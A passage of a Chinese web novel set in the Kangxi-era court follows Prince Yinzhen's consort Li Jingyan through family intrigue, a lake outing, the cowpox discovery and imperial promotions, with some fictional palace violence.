“又不是十天半个月不回府,顶多两天咱们就回来了。” 李静言想了想,表示了同意。 “那把弘时接到前院去,有事也方便些。不是我说咱们福晋坏话,一有事找福晋的时候,福晋不是头疼就是病着忙着。 等咱们把事都处理好了,福晋又开了门叫人来问。真真儿是占着......” 李静言住了嘴,看着胤禛似笑非笑的神情利索的把脑袋埋进他怀里。 “错了错了,妾身错了,妾身现在可是在爷怀里,爷打妾身就是打自己。” “起来,你的规矩呢。” 胤禛轻轻拍了怀里人后背一下,连一点劲儿都没用。 却还是见李静言往自己怀里拱不说,闷声闷气的还要顶嘴:“规矩在嘴里,嘴被爷吃了,规矩被爷吃掉了。” 胤禛有些控制不住笑意:“你这个时候倒是机灵的很。” 瞧着傻乎乎的一个人,顶嘴的时候可利索。 李静言‘嘿嘿’一笑,那声音仿佛是从自己胸口传出来的。 胤禛大手拽着李静言的后脖子把人拉出来:“闷不闷。嗯?声音都像是爷自己发出来的了。” 低下头,额头顶着李静言的脑袋晃了晃,又捏了捏她这几日越发饱满的脸颊。 “不闷,不闷。” 李静言又扭过脸把自己另一边的脸颊送到胤禛手上,瞧着胤禛没有动作,自己用手把胤禛的手捂在自己脸上。 她大眼睛滴溜溜的转着,含着一丝讨好,两只小梨涡里笑的满是甜蜜。 胤禛本就不怪她,这时候更是被甜进了心坎里。 “好了好了,别作怪,今儿坐了够久了,快躺下吧。” 胤禛比小佟嬷嬷还要严格和唠叨,只要他来就一点自由都没有。 刚安顿好了李静言,外头苏培盛说十四爷来了。 胤禛的脸色瞬间有些冷,不过瞬间看向李静言的眼神仍旧是温和。 “爷先去忙,你好好歇着。” 李静言拉了拉胤禛的手:“十四弟若是不听话,爷就跟妾身说,妾身去舒舒觉罗氏妹妹那里说十四弟的坏话。” 对上李静言认真的眼神,胤禛心里酸酸的,但是嘴上仍旧比酸枝木的美人榻还要硬:“那是人家爷们,你说坏话有什么用?” 胤禛对于李静言的傻气发言倒是习惯了,就是每次听都觉得好笑。 李静言不语,只是一味地不服气。 胤禵确实是个孝顺的,自家额娘被贬斥当然要去乾清宫问出个一二。 康熙也从不是为了女人遮掩的人,在他心里,孝顺额娘可以,但是愚孝不行。 胤禛府上的糟心事被扔到了十四面前,胤禵看完只有一个想法:还好额娘爱我! 兄弟俩再次相聚在胤禛的书房,虽然共同做着一件能发家致富封王拜爵的事,但仍旧互相看不上。 “今日来是跟你说,这边牛都准备好了,你的大夫人手到位没?” 其实换个下人来说一声就行,但胤禵还是想来看一眼,看一眼他这个没人疼没人爱的老四。 胤禵被宠坏了,除了在他老子康熙面前还会隐藏一二脸色,在胤禛这里,表示十足十的挑衅。 “你若是找事,这事爷便直接上奏了皇阿玛。左右发现牛出痘一事是爷的侧福晋,功劳大小都能挨着爷这贝勒府。” 没有了额娘亲情的牵绊,本就对这个不亲近的弟弟没什么耐心的胤禛更加不愿意搭理他。 胤禵瞪着眼红着脸,像一头发不出火的蛮牛。 虽然有共同利益,但兄弟俩仍旧不对付,互相咬着牙商讨了接下来的事,胤禵离开时颇有些不欢而散的意味。 自胤禵入府就竖着耳朵的人总算是放下了心。 却没看到背道而驰的兄弟俩转身后同时翘起的嘴角。 不合是真的,偶尔以利而聚也是真的,利用闹这一场转移别人对生母降位带来的关注也是目的之一。总之,在这人均八百个心眼子的紫禁城,算计,是刻在骨子里的本能。 第208 章 李静言11 “明儿是弘时的满月宴,这段时日额娘一事叫外界颇有争论,你和十四弟妹还要如以往,便好。” 胤禛在‘以往’二字上格外咬重了两分,宜修眼珠子往下看了一下,再次抬眸时露出体贴懂事的笑容。 “妾身知道了。” 胤禛看着手里的宾客名单,声音低低的响起:“爷记着,乌拉那拉府里有个侍花有一手的小厮。” 宜修不知道胤禛为何提起这个,不过还是收敛了思绪答道:“爷好记性,是李长。” 这人为她的嫡姐柔则培育了不少珍贵的兰花,本是寂寂无名的下人,凭着手艺,竟是比她这个庶出的小姐过的还要松快。 “嗯,那是皇阿玛的人。” 宜修突然白了脸色,看着胤禛黑漆漆的眸子张了张嘴,没有发出声音。 她脑海里的思绪凌乱的搅成一团,有很多看似灵光乍现的念头仍旧被还未理清的线头缠绕着,叫她脑子里不断的发出嗡鸣。 好半晌,宜修才找回自己的声音:“爷,这是什么意思。” 胤禛放下手里的册子抬头,语气里似是疑惑也似是嘲讽:“福晋,爷觉得你有时候聪明,有时候又不够聪明。” 他敲了敲手下的鸡翅木的小几,没给宜修辩解的时间继续道:“普天之下莫非王土,你和额娘竟然妄想在皇上的眼皮子底下把爷的孩子都杀了,爷也不知道该夸你们二人有胆识,还是说你们蠢。” 宜修挺直的背脊突然塌了下来,她有些佝偻的坐着,整个人的精气神都灭了一半。 “妾身的弘晖没了,凭什么她们还能有孩子?” 她没有撕心裂肺的怒吼,但平静的话里满是绝望的偏执。 胤禛冷冷一笑,眼神里的轻蔑叫宜修难以接受:“弘晖只是爷的儿子,你也只是爷的女人之一。说好听些,你是福晋,说不好听的,管不好这个家你随时都可以是先福晋。 皇阿玛不会只有弘晖一个孙子,但你如今敢用其他孩子的命来祭奠弘晖,也不怕皇阿玛迁怒于他吗?” 他话说的凉薄,胤禛自己也知道自己不是什么好玩意,弘晖的死他也有责任,但是,这在胤禛心里其实并不算什么特别大的问题。 十月怀胎的不是男人,男人很难真的和女人感同身受。 宜修被吓的跪在地上,瘦弱的肩膀不停的颤抖:“千错万错都是妾身的错,跟弘晖无关,他早早夭折很可怜了,不能再扰了他的清净啊爷!” 她哭的凄惨,脸上的薄粉被冲刷干净,露出这段时间被康熙下了秘药后有些泛黄的脸色。 胤禛定定的看着宜修的脸,有些想不起来她刚入府的样子了。 “做好你该做的事,这府里的一亩三分地儿管好了,再不要让爷知道你把手伸到别处去。” 胤禛说完,环顾了一眼这清雅的同宜院。 “柔则的东西有些交给你保管了,爷看你身体不好,便都送去前院吧。” 宜修在地上跪着没有接话,等到耳边再无声音响起的时候,她踉踉跄跄的起身,穿过清冷的房间来到后头的小佛堂。 直到看到弘晖的牌位,宜修脸上的悲痛才有了宣泄的渠道。 “弘晖,额娘的弘晖。” 抱着弘晖的牌位,宜修倒在地上失声痛哭。 而整个同宜院静悄悄的,没有一点人气。 要动手除去皇上的孙子,皇上碍于儿子的名声不能立马处置了宜修,还不能处置了宜修身边的下人吗? 剪秋绘春染冬绣夏和江福海便是最先奔赴黄泉路的。康熙怎么会允许害了他爱新觉罗氏子孙的奴才苟活于世呢。 弘时满月宴的当天,宜修穿戴大方得体,用脂粉掩盖住了眼底的青黑和细纹。又由着胤禛送来的婢女一双巧手藏起了偶现的白发,整个人也当得起贤良二字。 虽然其她福晋不爱跟宜修来往,但到底是四贝勒府的大喜的日子,大家也算是给面子,一两句吉祥话奉承一下四贝勒福晋,总不至于落一个不知礼的名声罢了。 其实操办这种席面宜修本人并不是特别擅长,所以最后拍板做决定的是小佟嬷嬷。 到底有几分枕头风的情分在,自太子和直亲王胤禔,大家都对胤禛藏了两分锋芒。 更别提今日主角李静言这边,这数字阿哥军团的侧福晋们,哪家都有李静言交好的,凑在一起说说孩子,聊聊保养热闹极了。 这几桌都是面容姣好身姿绰约的,便是动静大了些,那些龟毛的阿哥们也是带着笑意的看了眼,并未露出不耐烦的神情。 正妻这一桌都是正经大家贵女,对于侧室得宠这个现象在闺中就常常见识,自然不觉得有什么不对。即便有那善妒的,在这种场合也不会下了自家爷们的面子,那就不是情趣,而是蠢笨了。 小小的弘时今日得了半屋子的贺礼,李静言还央着胤禛给送来了两个识字会管账的婢女来。 “妾身入府时只是格格,能带个翠萍来都是因着福晋小气了。哪里有机会把家里的婢女带来呢?况且,妾身嫁的不是皇家吗?咱们府里的婢女大多是包衣啊?能叫妾身带来带去的?” 胤禛无话可说,对着脑子里不转弯的人事半点谋划也做不得。 “罢了罢了,你瞧哪家的侧福晋会求着送眼线来的?” 他不得不把话说的明白些,虽然胤禛心里也知道,没什么用。 李静言果然眼神清澈的问道:“什么眼线?爷要监视妾身吗?” 莫名的,竟然还带了点兴奋是怎么回事? 不等胤禛开口询问,李静言自顾自的说道:“妾身看话本子,那都是朝中重臣在需要放眼线进去呢!这么说,妾身已经这么厉害了?” 她大大的眼睛里满是兴奋又骄傲的光芒,丝毫没有为自己今后说错话或者想做些背着人的事的担忧。 “没有,爷随口一说。” 胤禛捧着李静言的脸按在怀里,‘冷酷’的打断其天马行空的幻想。 “爷,十三弟妹邀请妾身去游湖呢!妾身想去。” 胤禛对于李静言跳跃的思路早就习惯了,闻言把人从怀里拽出来,瞧着蹭到脸上的发丝轻柔的拨开:“哪日?” “就是后日,十三弟妹说她娘家送了游船给她,叫我们一起去玩呢。” “爷正好休沐,和你一起。” 李静言突然来了精神,支起身子想要下床:“妾身记着七八日前,爷送来一身螺钿紫的衣裳。” 胤禛翻了个身,支着头看着李静言忙忙碌碌的穿梭在箱笼之中。 “嗯,新得的浮光锦,都给你做衣裳了。” 李静言闻言回眸冲着胤禛粲然一笑:“妾身前儿个也给爷定了身颜色相近的常服,爷后日便穿吧?” 胤禛刚想要拒绝,跟自个儿女人穿相似的衣裳,在府里他还放的开些,出门怕是...... 李静言一个飞扑把自己整个人压在胤禛身上:“不许不穿。” 她扭着身子拼命的撒娇:“穿嘛穿嘛!妾身在十三弟妹那儿都吹了好大的牛了。” 胤禛扯下禁锢着自己嘴的小手,斜眼瞅了瞅她:“你又说什么混话了?” 李静言嘿嘿一笑:“她们都说爷是个冷清端肃的,妾身觉得不对。爷明明是个温柔体贴的男子,但是十三弟妹不信。” 说着,李静言把脑袋拱到胤禛的颈窝处来回的蹭:“穿吧爷,爷肤白,穿什么都好看。” 胤禛瞧着嘴角,无奈的说道:“好了好了,爷应了你就是,莫要磨人了。” “谢谢爷!” 李静言大声的在他的颈窝处告谢还不算完,竟然还对着耳朵亲了一口。 胤禛把人按在床上,准备亲自‘体罚’一下这个胆大包天满世界得瑟的人。 第209 章 李静言12 两身衣裳的颜色相近,李静言还特意叫人在衣裳的领口和袖口处用银线绣了杂宝纹。 “爷,妾身的首饰都配不上今日的衣裳了呢。” 她说着话,手上还有些欲盖弥彰的把杂乱的梳妆台拨弄了一下,虽然用袖子遮了遮,但下头红宝石嵌金的亮光可还闪着呢。 胤禛哪里看不出来李静言的小心思,他笑着摇了摇头‘罢了,左不过就这一个爱好而已。’ “苏培盛,还不把爷私库里那套点翠头面取出来给你侧福晋戴着。” 苏培盛早就做好了跑腿的准备,及时的应了是便走了。 李静言看着这一套华丽张扬的首饰笑的眼睛都看不见了。 累丝嵌宝扁方,珊瑚玫瑰如意簪和珊瑚珍珠流苏一套,金云衔珠耳环左右各三,翡翠雕花手镯,金镶红宝石的戒指,珊瑚蜜珀的手串。 瞧着水银镜里自己亲手打造出来的美人儿,胤禛突然理解了自家三哥热衷于沉迷温柔乡的小爱好了。 李静言瞧了瞧自己这一身行头,转身在梳妆台上翻找起来。 胤禛的眼神还没落在实处,就见她拿着一个什么当做了压襟戴了上去。 他仔细定睛一看,那不是他送给李静言的手串吗?虽然络子被拿下换成了小米珠流苏。 “好了,走吧爷。” 胤禛想要叫她换下来的话被堵住,心里头安慰自己:“都是自家兄弟,应该也不会有人注意他的侧福晋的。” 本是妯娌之间的游湖,变成了集体团建。李静言告诉了乌苏氏胤禛也要去的消息后,十三阿哥胤祥又通知了十四。 十四又拉来了胤禩,胤禟和胤?,不同于李静言这些客人的松散,举办人乌苏氏可是又下了功夫,把游湖的活动扩大。正巧这游湖的地方挨着八福晋郭络罗氏的陪嫁庄子,乌苏氏去请了十三福晋兆佳氏。 联系到了八福晋,顺道把小聚的地点改到了这里。 到底都是皇子阿哥的,一两个还好在外头酒楼凑合一下,这么些个人,乌苏氏是一点意外都不想看见。 胤禛带着李静言到的时候,人已经来了大半。 “哟,四哥倒是有情趣,这衣裳做的不赖。” 胤祥打趣的看向胤禛和李静言,往常只穿青蓝两色的人突然穿了紫色,实在叫人眼前一亮。 “哦......小四嫂那压襟是四哥的手串吧!” 胤禟跟着起哄,那手串是个宝贝,胤禟还惦记过呢。 “是呀!九阿哥好眼神呀!” 不等胤禛反驳,李静言‘惊喜’的认了下来。 胤禟得意的挑了挑眉,使坏的冲胤禛一笑:“看不出来,四哥还是个怜香惜玉的。” 胤禛最瞧不上胤禟那不着四六的样子,刚想出口呵斥,就听身边人笑呵呵的说道:“那是自然,我家爷的礼仪规矩和体统就是最好的。” “瞧瞧咱们小四嫂多护着四哥。” 胤?这话到底听不出什么夸赞的意味,毕竟针锋相对久了,好好说话是难了点。 李静言却听不出,理所当然甚至还带了些同情的看着九阿哥和十阿哥:“维护自家爷不是应当的。” 那表情浅显,分明是说‘你们两个没人维护吗?好可怜。’ 九阿哥和十阿哥瞬间破防,但是对上李静言单纯的眼神又觉得憋闷。 胤禛却心情不错,换他挑眉看着两个倒霉弟弟了。 一旁的胤禩轻轻摇了摇头,这位满身心眼子的四哥得了这么一个宝贝确实应该宠着,但是怕是两个没头脑又爱生气的弟弟要吃亏了。 不过他也没打算插手,总归又不涉及到利益,闹一闹而已,小问题。 既然借用了八福晋的庄子,那几位嫡福晋自然也是请了来一起热闹的。 分了三个游船,李静言一上船就被妯娌们围了起来。 “小四嫂你也太会说了,我还是第一次见把我家爷顶的无话可说的人呢。” 完颜氏捂着嘴,一向温声细语的她也不免兴奋了起来。 李静言无辜的回望:“我说的都是实话啊!” 完颜氏突然愣了一下,看了一眼身旁的妯娌小心翼翼又不可置信的说道:“你说什么?你的意思是,四哥就是这么好一个人?” 李静言用力点了点头,头上的流苏也跟着颤了颤:“自然是啊,我家爷丰神俊朗, 气宇轩昂,人品出众,温柔体贴,还很细心,简直没有比爷更好的人了。” 配合着她无比认真的表情,众人突然有种目不识丁的感觉。 这几个词,跟四哥有什么关系吗? 她们面面相觑,还是乌苏氏跟李静言关系好些,熟悉她的操作最先回神:“啊,原来四哥这么好呢,我们这些后宅的人,倒是孤陋寡闻了。” 乌苏氏也只是客气客气,哪里能想到李静言打蛇上棍:“那倒是。” 看着把四哥夸的天上有地上无的人,几位侧福晋认真反思了一下自己:她们怎么能挑出来自家爷一堆毛病呢? 但是仔细一想,就是一堆毛病啊! 没办法反思自己的众人看向李静言的眼神里满是钦佩,没看出来,小四嫂竟然对四哥爱的深沉呢! 游湖也不过是在春日里应个景,大家下了船来到八福晋的庄子上,自是备着礼物。 其中李静言的礼物被八福晋着重看了两眼。 “这是?” 八福晋从包装精致的盒子里拿出来两身可爱的小衣裳,上头还隐约有些奶味儿。 “这是弘时的衣裳,咱们老话不是说嘛,这孩子啊,有时候是欠缺点缘分的。 就说孩子们有的喜欢热闹些,见你府里头可能清静他就不愿意来,若是有个奶娃娃衣裳勾着他,他觉着趣儿了,就来了。” 现场一片安静,谁不知道孩子就是八阿哥两口子的伤心事啊,这小四嫂是真的很勇啊! 郭络罗氏其实是个很飒爽的女子,她闻言并不觉得李静言冒昧,只是带了些期待的问道:“是,是这样吗?” 李静言点了点头:“妾身出身低些,这民间的说法啊虽然不能全信,但也不能不信不是。” 她说的坦荡,倒叫因着四贝勒福晋有病不能来,侧福晋来送礼这事被出身高贵的福晋们忽略了下去。 “多谢小四嫂了。” 八福晋这声谢道的真心,李静言没心没肺一笑,叫胤禛提着的心放了下来。 他和老八也不是一开始就不对付的,其实小时候他们俩关系是最好的。 “多谢,四哥。” 看着眼前出现的杯子,胤禛的思绪拉扯回来举了举杯子:“都是自家兄弟。” 到底因为什么渐行渐远的呢?对饮的二人也懒得追根究底,反正都是要争一争的,面上兄友弟恭就行了。 “你怎么想起来送八福晋这个了?” 系统看着李静言把准备好的首饰拿出来换成弘时的小衣裳还有些惊奇。 毕竟老八今后可是胤禛上位的一大敌人。 李静言泡在浴桶里被热气熏的昏昏欲睡:“啊,你不是说我运气特别好?我就试试啊。” 系统:啊? 现在倒是清净,李静言有耐心的说道:“经过今天,我这个不聪明的侧福晋名头就会传遍整个妯娌圈,甚至这些阿哥爷们肯定也会知道。 别看他们一个个心眼子像筛子一样密,但真要论起来,谁不喜欢和心思浅薄的人玩儿?他们会觉得我是四贝勒府里最好套话的一个。想要套话,最起码我就能知道他们基本的打算。你说,这合不合算?” 系统:哦,原来我才是笨蛋。 第210 章 李静言13 弘时不愧是成年后还在不断长高的孩子,自小便有着惊人的奶量。 自出了月子后,李静言比手画脚的叫胤禛画了图纸送到内务府,弄出来一辆带着华丽遮阳棚的小车。 每到了一天里阳光不是那么刺眼的时候,李静言就带着孩子出去晒晒胖腿。 “弟,弟。” 宋格格的大女儿已经会说几个字了,身子也在太医的调理下日渐茁壮,宋格格瞧着李静言带着弘时晒太阳的样子,虽不理解,但也跟着把大格格抱出来转转。 她没本事叫爷特意给大格格弄辆小车,就自己和下人动手制了一把小巧精致的芝麻纱伞。 那芝麻纱还是胤禛给小格格做外衫的,宋格格把边角料的小碎布都攒了下来,攒成了这么一个花团锦簇的遮阳伞。 “李姐姐,可以叫妞妞看看三阿哥吗?” 妞妞是宋格格给自家女儿起的小名,总好过大格格大格格的叫着。 “看吧,别把棚子给弘时掀开了,弘时眼睛还没长好呢,瞧不得这么亮阳光。” 宋格格有自己的小心思,她不得爷的宠爱,妞妞若是能陪着三阿哥长大,安安分分的,想来能得一点庇佑。 胤禛又在芳华院安插了不少人手,生怕这心大的侧福晋一个看不住就落进了别人的圈套里。 对于宋格格带着大格格讨好李静言一事他自然是第一时间知道的。只不过看宋格格确实还算有分寸,李静言又察觉不出不妥,才没有制止。 不过生产时的意外到底是让胤禛上了心,他把李静言身边的人查了个遍,发现全是探子。 胤禛倒吸口凉气,只觉得李静言能平安有孕到生产实在是运气好。不然就凭她到现在都一无所知的脑子,早不知道被人害了多少次了。 “你身边的人能力不行,爷给你换了。” 胤禛抱着李静言在榻上歪着,满脸的惆怅。 李府也太安稳了些,就这个脑子,但凡托生在皇家,怕是今年也有十来岁了吧? “哪里不行了?晴云梳头好看,晴雨说话好听,翠萍力气大按摩舒服,小九长的好看养眼,小路子能干,都是好的。” 胤禛的脸色很复杂,听听,什么时候奴才说话好听和长的好看是主家用人的标准了? “其他人也就罢了,晴云和晴雨在你生产时毫无作为,你留着也没用。” 李静言皱了皱眉头:“是吗?那打发了吧。” 她干脆利索的样子又叫胤禛有些看不懂了:“你倒是舍得了?” 只见李静言从胤禛怀里挣脱出来,眼里带了浅显的疑惑:“妾身有什么舍不得的?不过是两个奴才罢了,从前喜欢是她们有用,既然无用,那就打发了去。身为主子,还能被奴才拿捏了呢?” 胤禛哑口无言,突然觉得笨人也有笨人的好处,他们逻辑简单思维也更直白。 “你说的是,爷也是怕你用惯了。” “嘁”李静言利索的把自己扔回胤禛怀里,甚至还‘悄悄’的翻了个白眼:“向来都是奴才去迎合主子的喜好,哪里有用不惯一说。” 胤禛只好表示受教了,又哄着人挑了几个可心的,这才放心叫她和后院的人相处。 有几日瞧不见胤禛的身影,李静言想着应当是和他那十四弟研究牛痘去了。 其实说的容易,其中关窍并不是存好了牛身上的痘种给人就能成事的。不过皇子手里能用的太医和试验品多,进展自然还算顺利。 虽然他人不在府里,该送的礼却没有少过。 “侧福晋,这是贝勒爷叫奴才给您送回来的千片芝麻糕。这是新开的揽香斋的招牌,爷今日和隆科多大人用了些,觉得侧福晋定会喜欢的。” 李静言笑着把食盒接过来,当着苏培盛的面就吃了一个。 “好吃,你回去告诉爷,我想吃宝兰斋的玫瑰糕了。” 苏培盛看着毫不客气的李侧福晋真是一点也不意外,哪天这位主子要是不提要求了,那他才是要担惊受怕呢。 “诶,奴才知道了。爷说这几日要忙着,叫奴才转告侧福晋您注意身子。” 李静言听到这话糕点也不香了,轻轻叹了口气,眉眼间萦绕的愁绪看的苏培盛都心疼:“爷这是要忙多久?天大的事吗?不能叫下头人做吗?” “哟,侧福晋您宽心,爷是主子,定是有脱不开手的才需要这般忙碌。” 被瞪了一眼,苏培盛理解了自家爷搞事业时还惦记着侧福晋的原因了。 而被李静言惦记的胤禛,此时却是和胤禵一同黑着脸。 “这就是你的好哥哥?呵。” 地上被五花大绑的两人鼻青脸肿的昏迷着,黑暗幽深的地牢只亮了两盏蜡烛,旁边隐隐有滴水的声音,只是不甚清晰。 胤禵听到老四的嘲讽也没生气,他食指捻着大拇指的扳指,一向肆意的眉眼也显露出了锋芒。 “好哥哥?老四你可真天真啊。” 跟着胤禩混不过是为了给他亲哥添堵罢了,若是可以,谁不想自立为王呢。 胤禛没有接话,他低垂着眼睫转动着手里半新的十八籽。 今日和隆科多吃了饭,又叫苏培盛带着人回了贝勒府给静言送点心,才叫后头跟踪的人一时大意露了面。 若是说起来,只要是和静言有关的,总是会有惊喜。 “这话暂且不提,地方怕是要暴露了,你打算怎么做?” 他们这些儿子也就是搭着上头的老爷子不疼爱,私下里做小动作才放肆了些。若是如太子那般,出个恭老爷子都要问一问形状,才真是可怕。 胤禵伸手拿过墙上的剑,起身轻飘飘的捅进地上两人的心窝处。 拔剑时溅了些血,他拿着帕子擦了擦扔在了地上。 随着剑落地的声音响起,胤禛没有感情的说道:“哼,既如此,便直接去找皇阿玛吧。” 胤禵正在用桌上的茶水冲手,闻言也只是点了点头:“嗯,这样也好。” 阴暗中,两人对视又瞬间扭头往不同的方向走。 胤禛先一步到乾清宫,面对着康熙把最近研究的牛出痘用以人身上一事简单的总结了一下。 胤禵才换了衣裳赶来。 “老,四哥!你怎么不等我!” 眼底的怒火和嫌弃仍旧和从前一样,这让康熙和太子稍稍放下了疑心。 这兄弟二人从小就不对付,如今竟然能同时做一件事,还不是因着皇命,是个人都会起疑心。 “哦?这么说这并非全是你二人的功劳了?” 两人并未抹去其中李静言和乌苏氏的身影,康熙心里头有了思量。 “是,是李侧福晋听闻牛出了痘即使染给人,也是无碍的,才有了儿臣的想法。” 说到这里,胤禛似笑非笑的看了眼身旁的胤禵:“至于十四弟,到底是李侧福晋在十四弟侧福晋的庄子里看到的,儿臣不好越过他去。” “就算是没有老,四哥,儿臣假以时日定也能发现这个问题。” 胤禵哪里能吃了被‘顺带’的亏,咬着牙为自己正名。 康熙乐呵呵的笑了笑,把他们已经半成熟的理论继续投放实验。 被迫放假的兄弟二人一个带着侧福晋去了庄子上小住,一个带着侧福晋去郊外跑马,倒是让后头仍旧跟着两人的胤禩松了口气。 “爷怎么不忙了?不是还要几日吗?” 这点心都没吃完就被打包了带到了这庄子里,李静言整个人都是懵的。 胤禛看着只属于自己的天眷之人笑的温和:“忙完了,自然要陪着你。这几日爷都歇着,咱们俩在外头松快松快。” 若真是被老八看到了什么端倪,本属于两人的富贵说不得就会变成知情不报甚至贪功冒进的枷锁。 胤禛又盘算了一下自己的私库,把名下两个还算繁华的铺子直接转给了李静言。 第211 章 李静言14 两个人没羞没臊的在庄子里度过了几天成年人该有的二人世界,回到四贝勒府,迎面而来的是钱格格有孕的喜讯。 胤禛下意识的看了一眼用帕子捂着脸的人,那挤眉弄眼的鬼脸实在叫人冷不下脸。 “做什么怪,爷送你回去歇着。” 两人出门没有带可怜的弘时,不过胤禛也记着李静言的话,把弘时接到了前院住着。高无庸和小佟嬷嬷守着,看的那叫一个严实。 “妾身不回去,要去接弘时。” 低头瞧了瞧语气里都含着酸溜溜的味道的人,胤禛突然笑了起来:“去,去看咱们弘时去。” 李静言这才滴溜溜着转了转眼球,虽然看的出来在克制嘴角了,但是这表情管理实在差劲的很。 “这是爷说的啊,可不是妾身拦着。” 她的声音比之前不知道大了多少,一旁立着报喜的喜鹊表情复杂。她家格格说的对,当着李侧福晋的面报喜不会受到什么陷害,只会得一脑门子醋。 胤禛看了眼自己被紧紧握着的手,表情里的揶揄明显,然而李静言她,看不懂。 府里的日子没有了四处挑拨的福晋后平静又带了些热闹。都是正值花样年华的姑娘,便是那文静内敛的,也是喜欢偶尔找乐子寻些趣味。 宋格格在贝勒爷和福晋面前腼腆,可在小姐妹中便是个能说的。她不止一次强调齐格格是个会抢孩子的卑鄙小人,这四贝勒府里的格格小团体,便把她排除在了外。 “哼,我就瞧着她不是什么好东西,扒拉着先福晋得了些宠爱,一丘之......” 说话的是甘氏,和先侧福晋苗氏同时入府的好姐妹。自苗侧福晋抑郁而终后,甘氏不愿搭理贝勒爷这个偏听偏信的,沉寂在了后院里。若没有宋格格这一遭,怕是也不久于人世了。 她痛快了嘴,但又不愿意因着自己三两句话连累了姐妹,悻悻的收了声。甘格格可是知道她们这位爷对于前福晋有多魔怔的。 宋格格摇了摇头,她不识得什么先福晋,不过能得了头里甘格格这么嫌弃的,怕也不是什么好的。 “你呀,还是小声着些,咱们惹不起便躲着,总比失了命强。” 钱格格抱着肚子点了点头,这女人一辈子就这两个地方。娘家的院子,夫家的院子。 既做了妾,便盼着有个公正大气的主母,得宠不得宠的靠命,能活着,就很好了。 三人又说了会子话,重点抨击了一下盯着别人肚子的齐格格,甘格格和宋格格才护送着钱格格回院子。 “你可别不当回事,我有大格格那会儿,路上不是有油就是有水,饭菜也时常有些毛病。” 这都是宋格格的经验之谈,钱格格记得牢牢的。 甘格格不想伺候贝勒爷,又经过这几日的时光不想死,全部的盼头就是这两位姐妹,先玩大格格,再玩钱格格肚子里这个,想想,这日子也不是过不下去。 “有事,别去同宜院,去芳华院求求侧福晋。侧福晋是个直肠子,好相处。” 宋格格知道独木不成林,她家世虽不算低微,但在这皇家也是不够看的。能得几个处的来的姐妹,自然比一个人要好。 更何况自己就一个小格格,碍不着别人的事。 “诶,知道了姐姐。” 钱格格生辰日子小些,见谁都得喊声姐姐。 李静言还不知道宋格格这个小弟又给她收了小弟,此时面对这胤禛送来的管事还有些晕乎乎。 “给妾身铺子?这是干嘛?” 胤禛下意识的捏了捏李静言的脸蛋:“爷喜欢你,愿意给你,你不愿?” 李静言的小嘴微微张着,显的人傻乎乎的。 “愿,愿意啊。” 白送钱,谁不喜欢呢? 得了铺子,李静言有些兴奋的问起了掌柜:“铺子里主要卖什么?进账如何?每日客人多少?进店的客人真正购买的能有一半吗?铺子里打杂几人?能做到各司其职吗?” 一连串的问题不仅问懵了掌柜,也问懵了胤禛。 他看着自家侧福晋眼底里有淡淡的惊喜。 “静言竟然会管铺子?” 这话说的李静言不爱听了,她扭着身据理力争:“谁还不会管铺子了,在家时我娘就是这么问的啊!” 想了想跟李静言同款清澈双眼的李母,胤禛陷入自我怀疑。 难道,管家是什么很简单的事吗? 白得了两个收益不错的铺子,李静言高兴的多吃了两碗饭。 这般直白的快乐在胤禛懂事后就再没有经历过了,他坐在那里静静的看着李静言拨弄算盘,配合着她时不时小声的惊呼,只觉得日子, 就应该是这样子的。 两人没有小别,却一直在新婚,直到康熙那里确定了牛痘的作用和成活率,一道圣旨打破了周围府邸的平静。 “奉天承运皇帝,诏曰: 朕御极以来,宵旰忧勤,惟念宗藩之重,欲使诸皇子各展其才,共襄社稷。 皇四子胤禛,秉性端方,操行醇谨。自幼潜心向学,于经史子集,无不精研;于骑射武艺,亦颇娴熟。其识见深远,常能洞察时弊,提出卓见,有裨于朝廷政务。 朕委以诸事,胤禛皆能殚精竭虑,实心任事,不避艰难,不辞劳瘁。 其忠君爱国之心,日月可鉴;其克己奉公之操,朝野共仰。朕嘉其贤能,特晋封其为雍亲王,赐金册、金宝,增岁禄,以示优渥。 望胤禛益加砥砺,恪守王爵之礼,常存敬畏之心,上为朕分忧,下为臣民表率。 于国家政务,悉心襄赞;于宗室亲谊,敦睦有加。如此,则不负朕之厚望,亦为宗室之荣,社稷之福。 布告中外,咸使闻知。 钦此” 本该于四十八年晋封雍亲王的胤禛,提前四年达成成就。 雍亲王府显眼的还有另一道圣旨,李静言身为雍亲王侧福晋,又见微知著,于牛痘一事有功,赐姓李佳氏,抬入满军正白旗,另赐淑字为其封号。 另一条街上的十四贝勒府,也得了同样的圣旨。越过前头的哥哥们,成功晋封恂郡王。 胤禵深知这次也全是托了老四府里那位侧福晋的福,对于郡王一爵很满意。只是面上还是做了不服老四的表情,叫传旨的人看了个分明。 作为提供病牛的舒舒觉罗氏,也得了赏赐,不过只是寻常的珠宝,和其额娘的诰命罢了。 毕竟恂郡王府里的妻妾身家高的很,康熙不会再为其添砖加瓦。 这牛痘叫康熙执政期间添了一笔浓重的色彩,其功绩可以算是记在千秋,为当时闻之丧胆,取人命无数的天花筑成里程碑式的克星。 这份封赏叫不少人都得了红眼病,但没有人觉得太过。一时间雍亲王府和恂郡王府来往贺喜之人络绎不绝。 然胤禛被突然病倒的李静言磨住了精力,又生怕自己宝贝独苗苗有个意外,直接选择闭门谢客。这番作态倒叫康熙高看了一眼,暗戳戳的收到了老父亲的表扬,被胤禵怒骂‘奸诈狡猾’。 瞧着李静言迷茫的眼睛,胤禛搂着她说起了赏赐里的玉石,成功转移了注意力。 至于作为妯娌间唯一一个有封号的侧福晋,小聚时完全意识不到自己的特殊,倒叫领了打探任务的李佳氏等人有些愧疚。 不断在自家爷耳边美化冷着脸的雍亲王,一时间胤禛的人缘直逼多年经营的胤禩,也是叫人哭笑不得的因果了。 第212 章 李静言15 “淑福晋,这是八贝勒府里送来的贺礼。” 李静言看着有十二抬的箱子,整个人都有些不知所措。 就算是得了封号,也只是个侧福晋,这么重的贺礼八福晋是看上她了吗? 胤禛到来时看到的就是一个傻乎乎的美人儿站在箱子堆里发呆的样子,看着可怜又可爱的。 “这是怎么了?” 李静言听到熟悉的声音茫茫然从箱子里抬头:“妾身,妾身已经需要收这么多礼啦?” “哈哈哈。” 胤禛笑的畅快,他心情十分好的捏了捏李静言的脸颊。 “八弟妹有孕了,她认定了是你带着弘时的小衣裳的功劳,正巧你得了这喜事,所以礼厚了些。” 胤禩和其福晋两人求子多年,这件事已然成为心病了。这份礼胤禛收的理所当然。 “原是如此,妾身就说这些民间的土法子也是有说道的吧!” 瞧着人又抬着下巴得意起来,像是宫里头宜妃养的那只猫一样。 “是是是,你说的对。” 